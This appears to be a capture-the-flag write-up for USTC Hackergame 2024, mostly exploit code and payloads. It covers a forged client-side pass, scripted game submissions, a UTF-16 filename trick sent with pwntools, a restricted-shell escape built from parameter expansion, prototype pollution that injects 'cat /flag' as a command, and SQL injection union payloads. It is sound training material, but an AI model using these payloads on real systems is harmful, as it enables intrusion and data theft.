USTC Hackergame 2024¶

function submitResult() {
    const inputs = document.querySelectorAll('.input-box');
    let allCorrect = true;

    inputs.forEach(input => {
        if (input.value !== answers[input.id]) {
            allCorrect = false;
            input.classList.add('wrong');
        } else {
            input.classList.add('correct');
        }
    });

    window.location = `?pass=${allCorrect}`;
}

GET /?pass=true HTTP/1.1

ctfer@ustc-nebula:$ ~ env
PWD=/root/Nebula-Homepage
ARCH=loong-arch
NAME=Nebula-Dedicated-High-Performance-Workstation
OS=NixOS❄️
FLAG=flag{actually_theres_another_flag_here_trY_to_f1nD_1t_y0urself___join_us_ustc_nebula}
REQUIREMENTS=1. you must come from USTC; 2. you must be interested in security!

ctfer@ustc-nebula:$ ~ ls -la
.flag
.oh-you-found-it/
Awards
Members
Welcome-to-USTC-Nebula-s-Homepage/
and-We-are-Waiting-for-U/

ctfer@ustc-nebula:$ ~ cat .flag
flag{0k_175_a_h1dd3n_s3c3rt_f14g___please_join_us_ustc_nebula_anD_two_maJor_requirements_aRe_shown_somewhere_else}

import transformers
import requests


session = requests.session()
token = "<your_token>"
resp = session.get(
    "http://202.38.93.141:13030/",
    params={"token": token},
)

tokenizer = transformers.AutoTokenizer.from_pretrained("meta-llama/Meta-Llama-3-70B")
tokens = tokenizer.encode(resp.text)
print(len(tokens))

let state = {
    allowInput: false,
    score1: 0, // 玩家分数
    score2: 0, // 对手分数
    values: null, // 服务器返回题目数字
    startTime: null, // 开始时间
    value1: null, // 正在进行比较的数字 1
    value2: null, // 正在进行比较的数字 2
    inputs: [], // 玩家输入的答案，由 "<" 和 ">" 字符串组成的数组
    stopUpdate: false,
};

document.addEventListener('load', loadGame());

function loadGame() {
    fetch('/game', {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json',
            },
            body: JSON.stringify({}),
        })
        .then(response => response.json())
        .then(data => {
            state.values = data.values;
            state.startTime = data.startTime * 1000;
            state.value1 = data.values[0][0];
            state.value2 = data.values[0][1];
            document.getElementById('value1').textContent = state.value1;
            document.getElementById('value2').textContent = state.value2;
            updateCountdown();
        })
        .catch(error => {
            document.getElementById('dialog').textContent = '加载失败，请刷新页面重试';
        });
}

function updateCountdown() {
    if (state.stopUpdate) {
        return;
    }
    const seconds = Math.ceil((state.startTime - Date.now()) / 1000);
    if (seconds >= 4) {
        requestAnimationFrame(updateCountdown);
    }
    if (seconds <= 3 && seconds >= 1) {
        document.getElementById('dialog').textContent = seconds;
        requestAnimationFrame(updateCountdown);
    } else if (seconds <= 0) {
        document.getElementById('dialog').style.display = 'none';
        state.allowInput = true;
        updateTimer();
    }
}

function updateTimer() {
    if (state.stopUpdate) {
        return;
    }
    const time1 = Date.now() - state.startTime;
    const time2 = Math.min(10000, time1);
    state.score2 = Math.max(0, Math.floor(time2 / 100));
    document.getElementById('time1').textContent = `${String(Math.floor(time1 / 60000)).padStart(2, '0')}:${String(Math.floor(time1 / 1000) % 60).padStart(2, '0')}.${String(time1 % 1000).padStart(3, '0')}`;
    document.getElementById('time2').textContent = `${String(Math.floor(time2 / 60000)).padStart(2, '0')}:${String(Math.floor(time2 / 1000) % 60).padStart(2, '0')}.${String(time2 % 1000).padStart(3, '0')}`;
    document.getElementById('score2').textContent = state.score2;
    document.getElementById('progress2').style.width = `${state.score2}%`;
    if (state.score2 === 100) {
        state.allowInput = false;
        state.stopUpdate = true;
        document.getElementById('dialog').textContent = '对手已完成，挑战失败！';
        document.getElementById('dialog').style.display = 'flex';
        document.getElementById('time1').textContent = `00:10.000`;
    } else {
        requestAnimationFrame(updateTimer);
    }
}

document.addEventListener('keydown', e => {
    if (e.key === 'ArrowLeft' || e.key === 'a') {
        document.getElementById('less-than').classList.add('active');
        setTimeout(() => document.getElementById('less-than').classList.remove('active'), 200);
        chooseAnswer('<');
    } else if (e.key === 'ArrowRight' || e.key === 'd') {
        document.getElementById('greater-than').classList.add('active');
        setTimeout(() => document.getElementById('greater-than').classList.remove('active'), 200);
        chooseAnswer('>');
    }
});
document.getElementById('less-than').addEventListener('click', () => chooseAnswer('<'));
document.getElementById('greater-than').addEventListener('click', () => chooseAnswer('>'));

function chooseAnswer(choice) {
    if (!state.allowInput) {
        return;
    }
    state.inputs.push(choice);
    let correct;
    if (state.value1 < state.value2 && choice === '<' || state.value1 > state.value2 && choice === '>') {
        correct = true;
        state.score1++;
        document.getElementById('answer').style.backgroundColor = '#5e5';
    } else {
        correct = false;
        document.getElementById('answer').style.backgroundColor = '#e55';
    }
    document.getElementById('answer').textContent = choice;
    document.getElementById('score1').textContent = state.score1;
    document.getElementById('progress1').style.width = `${state.score1}%`;
    state.allowInput = false;
    setTimeout(() => {
        if (state.score1 === 100) {
            submit(state.inputs);
        } else if (correct) {
            state.value1 = state.values[state.score1][0];
            state.value2 = state.values[state.score1][1];
            state.allowInput = true;
            document.getElementById('value1').textContent = state.value1;
            document.getElementById('value2').textContent = state.value2;
            document.getElementById('answer').textContent = '?';
            document.getElementById('answer').style.backgroundColor = '#fff';
        } else {
            state.allowInput = false;
            state.stopUpdate = true;
            document.getElementById('dialog').textContent = '你选错了，挑战失败！';
            document.getElementById('dialog').style.display = 'flex';
        }
    }, 200);
}

function submit(inputs) {
    fetch('/submit', {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json',
            },
            body: JSON.stringify({
                inputs
            }),
        })
        .then(response => response.json())
        .then(data => {
            state.stopUpdate = true;
            document.getElementById('dialog').textContent = data.message;
            document.getElementById('dialog').style.display = 'flex';
        })
        .catch(error => {
            state.stopUpdate = true;
            document.getElementById('dialog').textContent = '提交失败，请刷新页面重试';
            document.getElementById('dialog').style.display = 'flex';
        });
}

submit(state.values.map(([v1, v2]) => v1 < v2 ? '<' : '>'))

import requests
import time


base_url = "http://202.38.93.141:12122/"
token = "<your_token>"

session = requests.session()
session.get(base_url, params={"token": token})

resp = session.post(f"{base_url}/game", json={})
game_data = resp.json()

answers = ["<" if value1 < value2 else ">" for value1, value2 in game_data["values"]]

start_time = game_data["startTime"]
current_time = time.time()
if current_time < start_time:
    wait_time = start_time - current_time
    time.sleep(wait_time)

resp = session.post(f"{base_url}/submit", json={"inputs": answers})
print(resp.json())

// Get the console input and output handles
HANDLE hConsoleInput = GetStdHandle(STD_INPUT_HANDLE);
HANDLE hConsoleOutput = GetStdHandle(STD_OUTPUT_HANDLE);

if (hConsoleInput == INVALID_HANDLE_VALUE || hConsoleOutput == INVALID_HANDLE_VALUE)
{
    // Handle error – we can't get input/output handles.
    return 1;
}

DWORD mode;
GetConsoleMode(hConsoleInput, &mode);
SetConsoleMode(hConsoleInput, mode | ENABLE_PROCESSED_INPUT);

// Read the console input (wide characters)
if (!ReadFile(hConsoleInput, inputBuffer, sizeof(inputBuffer), &charsRead, nullptr))
{
    // Handle read error
    return 2;
}

// Remove the newline character at the end of the input
if (charsRead > 0 && inputBuffer[charsRead - 1] == L'\n')
{
    inputBuffer[charsRead - 1] = L'\0'; // Null-terminate the string
    charsRead--;
}

// Convert to WIDE chars
wchar_t buf[256] = { 0 };
MultiByteToWideChar(CP_UTF8, 0, inputBuffer, -1, buf, sizeof(buf) / sizeof(wchar_t));

std::wstring filename = buf;

// Haha!
filename += L"you_cant_get_the_flag";

std::wifstream file;
file.open((char*)filename.c_str());

if (file.is_open() == false)
{
    std::wcout << L"Failed to open the file!" << std::endl;
    return 3;
}

std::wstring flag;
std::getline(file, flag);

std::wcout << L"The flag is: " << flag << L". Congratulations!" << std::endl;

(char*)filename.c_str()

$ echo -n "flag" | iconv -f ascii -t utf-16le | hexyl -g 2
┌────────┬─────────────────────┬─────────────────────┬────────┬────────┐
│00000000│ 6600 6c00 6100 6700 ┊                     │f⋄l⋄a⋄g⋄┊        │
└────────┴─────────────────────┴─────────────────────┴────────┴────────┘

$ echo -n "flagyou_cant_get_the_flag" | iconv -f ascii -t utf-16le | hexyl -g 2
┌────────┬─────────────────────┬─────────────────────┬────────┬────────┐
│00000000│ 6600 6c00 6100 6700 ┊ 7900 6f00 7500 5f00 │f⋄l⋄a⋄g⋄┊y⋄o⋄u⋄_⋄│
│00000010│ 6300 6100 6e00 7400 ┊ 5f00 6700 6500 7400 │c⋄a⋄n⋄t⋄┊_⋄g⋄e⋄t⋄│
│00000020│ 5f00 7400 6800 6500 ┊ 5f00 6600 6c00 6100 │_⋄t⋄h⋄e⋄┊_⋄f⋄l⋄a⋄│
│00000030│ 6700                ┊                     │g⋄      ┊        │
└────────┴─────────────────────┴─────────────────────┴────────┴────────┘

66 00 6C 00 61 00 67 00 ...
   ^
遇到 00 时字符串结束

$ echo -ne "Z:\\\\theflag\x00" | hexyl
┌────────┬─────────────────────────┬─────────────────────────┬────────┬────────┐
│00000000│ 5a 3a 5c 74 68 65 66 6c ┊ 61 67 00                │Z:\thefl┊ag⋄     │
└────────┴─────────────────────────┴─────────────────────────┴────────┴────────┘

$ echo -ne "Z:\\\\theflag\x00" | hexyl -g 2
┌────────┬─────────────────────┬─────────────────────┬────────┬────────┐
│00000000│ 5a3a 5c74 6865 666c ┊ 6167 00             │Z:\thefl┊ag⋄     │
└────────┴─────────────────────┴─────────────────────┴────────┴────────┘

payload = b"Z:\\\\theflag\x00".decode("utf-16-le").encode()

from pwn import *

context.log_level = "debug"

token = "<your_token>"

io = remote("202.38.93.141", 14202)
io.sendlineafter(b"token", token.encode())

payload = b"Z:\\\\theflag\x00".decode("utf-16-le").encode()
io.sendlineafter(b"to it:", payload)

io.interactive()

size_t convertedChars = 0;
size_t sizeInBytes = ((filename.length() + 1) * 2);
std::vector<char> converted(sizeInBytes);

errno_t err = wcstombs_s(
    &convertedChars,
    converted.data(),
    sizeInBytes,
    filename.c_str(),
    sizeInBytes
);

#!/bin/bash

FORBIDDEN_CHARS="'\";,.%^*?!@#%^&()><\/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0"

PowerfulShell() {
    while true; do
        echo -n 'PowerfulShell@hackergame> '
        if ! read input; then
            echo "EOF detected, exiting..."
            break
        fi
        if [[ $input =~ [$FORBIDDEN_CHARS] ]]; then
            echo "Not Powerful Enough :)"
            exit
        else
            eval $input
        fi
    done
}

PowerfulShell

import os
from pathlib import Path

allowed = set("hBinput123456789-")
option_flags = "hB"  # $-
last_arg = "input"  # $_


def char_to_expr(c: str) -> str:
    if c.isdigit():
        return c
    if c in option_flags:
        return f"${{-:{option_flags.index(c) or ''}:1}}"
    if c in last_arg:
        return f"${{_:{last_arg.index(c) or ''}:1}}"
    return ""


commands = {
    cmd.name
    for path in os.environ["PATH"].split(":")
    if os.path.exists(path)
    for cmd in Path(path).iterdir()
    if os.access(cmd, os.X_OK) and set(cmd.name) <= allowed
}

for cmd in sorted(commands):
    expr = "".join(char_to_expr(c) for c in cmd)
    print(f"{cmd}:\t{expr}")

h2ph:   ${-::1}2${_:2:1}${-::1}
i386:   ${_::1}386
init:   ${_::1}${_:1:1}${_::1}${_:4:1}
ip:     ${_::1}${_:2:1}
php:    ${_:2:1}${-::1}${_:2:1}
tput:   ${_:4:1}${_:2:1}${_:3:1}${_:4:1}

The execution domains currently only affects the output of uname -m.
For example, on an AMD64 system, running setarch i386 program will
cause program to see i686 instead of x86_64 as the machine type. It can
also be used to set various personality options. The default program is
/bin/sh.

PowerfulShell@hackergame> ${_::1}386
id
uid=1000(players) gid=1000(players) groups=1000(players)

archwrapper = strcmp(program_invocation_short_name, "setarch") != 0;
if (archwrapper) {
    arch = program_invocation_short_name;   /* symlinks to setarch */

$ find /usr/bin -type l -lname '*setarch*' 2>/dev/null
/usr/bin/i386
/usr/bin/linux32
/usr/bin/linux64
/usr/bin/uname26
/usr/bin/x86_64

_1=~                    # /players
_2=$-                   # hB
${_1:7:1}${_2: -2:1}    # sh

let cmds = {
    getsource: "cat server.js",
    test: "echo 'hello, world!'",
};

let store = {};

app.post("/set", (req, res) => {
    const {
        key,
        value
    } = req.body; // 从请求体获取 key 和 value

    const keys = key.split("."); // 将 key 按照 . 分割，支持多级属性
    let current = store;

    for (let i = 0; i < keys.length - 1; i++) {
        const key = keys[i];
        if (!current[key]) {
            current[key] = {}; // 如果中间节点不存在，创建空对象
        }
        current = current[key]; // 移动到下一层
    }

    current[keys[keys.length - 1]] = value; // 在最后一个 key 处设置 value

    res.json({
        message: "OK"
    });
});

POST /set HTTP/1.1
{
    "key": "__proto__.newcmd",
    "value": "cat /flag"
}

GET /execute?cmd=newcmd HTTP/1.1

@app.route("/view")
def view():
    conversation_id = request.args.get("conversation_id")
    results = execute_query(
        f"select title, contents from messages where id = '{conversation_id}'"
    )
    return render_template("view.html", message=Message(None, results[0], results[1]))

def execute_query(s: str, fetch_all: bool = False):
    conn = sqlite3.connect("file:/tmp/data.db?mode=ro", uri=True)
    cur = conn.cursor()
    res = cur.execute(s)
    if fetch_all:
        return res.fetchall()
    else:
        return res.fetchone()

results = execute_query(
    "select id, title from messages where shown = true", fetch_all=True
)

' or shown = false --

select title, contents from messages where id = '' or shown = false --'

' or shown = false and contents like '%flag%'' --

' union select 1, group_concat(title, contents) from messages --

select title, contents from messages where id = '' 
union
select 1, group_concat(title, contents) from messages --'